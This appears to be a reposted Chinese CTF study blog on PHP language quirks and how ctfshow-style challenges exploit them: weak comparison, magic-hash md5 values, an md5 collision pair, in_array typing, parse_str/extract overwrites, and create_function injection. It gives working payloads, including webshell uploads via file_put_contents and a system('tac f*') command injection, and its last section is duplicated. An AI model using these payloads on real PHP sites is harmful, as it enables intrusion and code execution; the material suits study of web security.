PHP特性的一些笔记

PHP特性的一些笔记

php的特性是举例不完了,以后只能遇到了什么写着再写下去就行

正则表达式如preg_match("/[0-9]/", $num)当num是数组的时候会返回一个false

正则表达式只会匹配%00之前的内容,后面的被截断掉

正则的修饰符号

i 
不区分(ignore)大小写

m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。

s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg b\n bs

A
强制从目标字符串开头匹配;

D
如果使用$限制结尾字符,则不允许结尾有换行; 

e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; 

inval函数:

intval ( mixed $var [, int $base = 10 ] ) : int

Note:
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。

intval('4476.0')===4476    小数点  
intval('+4476.0')===4476   正负号
intval('4476e0')===4476    科学计数法
intval('0x117c')===4476    16进制
intval('010574')===4476    8进制
intval(' 010574')===4476   8进制+空格

  1. md5()函数无法处理数组,如果传入数组会返回NULL

举个例子:

if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}

payloada[]=1&b[]=2

  1. md5()弱类比较(PHP中两个等于号为弱类比较)
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。

0e开头的md5和原值:

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
QLTHNDT
0e405967825401955372549139051580
 
QNKCDZO
0e830400451993494058024219903391
 
EEIZDOI
0e782601363539291779881938479162
 
TUFEPMC
0e839407194569345277863905212547
 
UTIPEZQ
0e382098788231234954670291303879
 
UYXFLOI
0e552539585246568817348686838809
 
IHKFRNS
0e256160682445802696926137988570
 
PJNPDWY
0e291529052894702774557631701704
 
ABJIHVY
0e755264355178451322893275696586
 
DQWRASX
0e742373665639232907775599582643
 
DYAXWCA
0e424759758842488633464374063001
 
GEGHBXL
0e248776895502908863709684713578
 
GGHMVOE
0e362766013028313274586933780773
 
GZECLQZ
0e537612333747236407713628225676
 
NWWKITQ
0e763082070976038347657360817689
 
NOOPCJF
0e818888003657176127862245791911
 
MAUXXQC
0e478478466848439040434801845361
 
MMHUWUV
0e701732711630150438129209816536

举个例子

$a=(string)$a;
$b=(string)$b;
if(  ($a!==$b) && (md5($a)==md5($b)) ){
echo $flag;
}

payload: a=QNKCDZO&b=240610708
  1. md5()强碰撞

如果比较的为===则需要找到两个真正相同的md5数据

举个例子

$a=(string)$a;
$b=(string)$b;
if(  ($a!==$b) && (md5($a)===md5($b)) ){
echo $flag;
}

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

in_array()一函数仍然延续了PHP的弱类比较

var_dump(in_array('1.php',$allow));
返回的为true

$allow = array('1','2','3');
var_dump(in_array('1.php',$allow));
返回false

举个例子

for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

n=1.php post:content=<?php eval($_POST[1]);?>

PHP中and与&&的区别

$a=true and false and false;
var_dump($a);  返回true

$a=true && false && false;
var_dump($a);  返回false

PHP反射类

反射类的具体使用方法可参考php官网文档

举个例子

$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

这道题的第一个判断就可以利用and的特征来使得V1满足就可以了

然后需要构建一个反射类只要构造出echo new ReflectionClass('ctfshow');

即可?v1=1&v2=echo new ReflectionClass&v3=;

这道题中的is_numeric在PHP5中的环境中,是可以识别十六进制的也就是说传入0x66也是可以识别为数字的

$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}

这道题里面还需要用到另一个知识点hex2bin函数,这个函数可以把传入的内容用十六进制转换为字符串

在这道题中我们先传入v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e这串字符串是一句话的十六进制然后经过阶段以后前面的0x就没有了

call_user_func($v1,$s);这个函数的意思是把 S 的 值 用 S的值用 Sv1的方法执行

所以我们直接传入v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php

然后postv1=hex2bin

如果这道题是在php7环境下的话只能用另外一种方法绕过

如果能找到一条php语句经过base64编码,在转换为16进制之后全部都是数字就可以通过了

$a='<?=`cat *`;';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //这里直接用去掉=的base64
输出   5044383959474e6864434171594473

带e的话会被认为是科学计数法,可以通过is_numeric检测。
等号在base64中只是起到填充的作用,不影响具体的数据内容。

最终payloadv2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin

因为v2要被截断一点所以在原来的数据前面要加两个数据

php中还有一个非常有意思的地方,数字和命令进行一些运算的,

eval("return 1;phpinfo();");这样是不会执行phpinfo()

但是1-phpinfo就可以执行

三目运算符也可以执行phpinfo,比如:

eval("return 1?phpinfo():1;");

还可以这样

eval("return 1==phpinfo()||1;");

后面都是做过的让我觉得有意思的题了

$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}


这道题考察的是POST数组覆盖

然后我们传入 POST[‘a’]=123

结果array(1) { ["‘a’"]=> string(3) “123” }
也就是说现在的$_POST[‘a’]存在并且值为123

题目中还有个extract($_POST)
这样的话 $a==123

payload:_POST[key1]=36d&_POST[key2]=36d

if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

在这道题中需要绕过if(intval($code) == 'ctfshow')

PHP中弱类比较字符串与0相比较为 ture
在这里插入图片描述

inval会将很多数字转换为0intval('a')==0 intval('.')==0 intval('/')==0

所以方法就非常多了

md5(phpinfo())
md5(sleep())
md5(md5())
current(localeconv)
sha1(getcwd()) 

usleep(usleep())

都可以成功

create_function()代码注入

create_function('$a','echo $a."123"')

类似于

function f($a) {
  echo $a."123";
}

那么如果我们第二个参数传入 echo 1;}phpinfo();//
就等价于

function f($a) {
  echo 1;}phpinfo();//
}
从而执行phpinfo()命令
if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}

在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

所以%5c可以绕过这个正则表达式

get: show=echo 123;}system('tac f*');//
post: ctf=%5ccreate_function

}
从而执行phpinfo()命令


if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}

**在PHP的命名空间默认为`\`,所有的函数和类都在`\`这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。**

所以%5c可以绕过这个正则表达式

get: show=echo 123;}system('tac f*');//
post: ctf=%5ccreate_function

猜你喜欢

转载自blog.csdn.net/chizhaji/article/details/113741455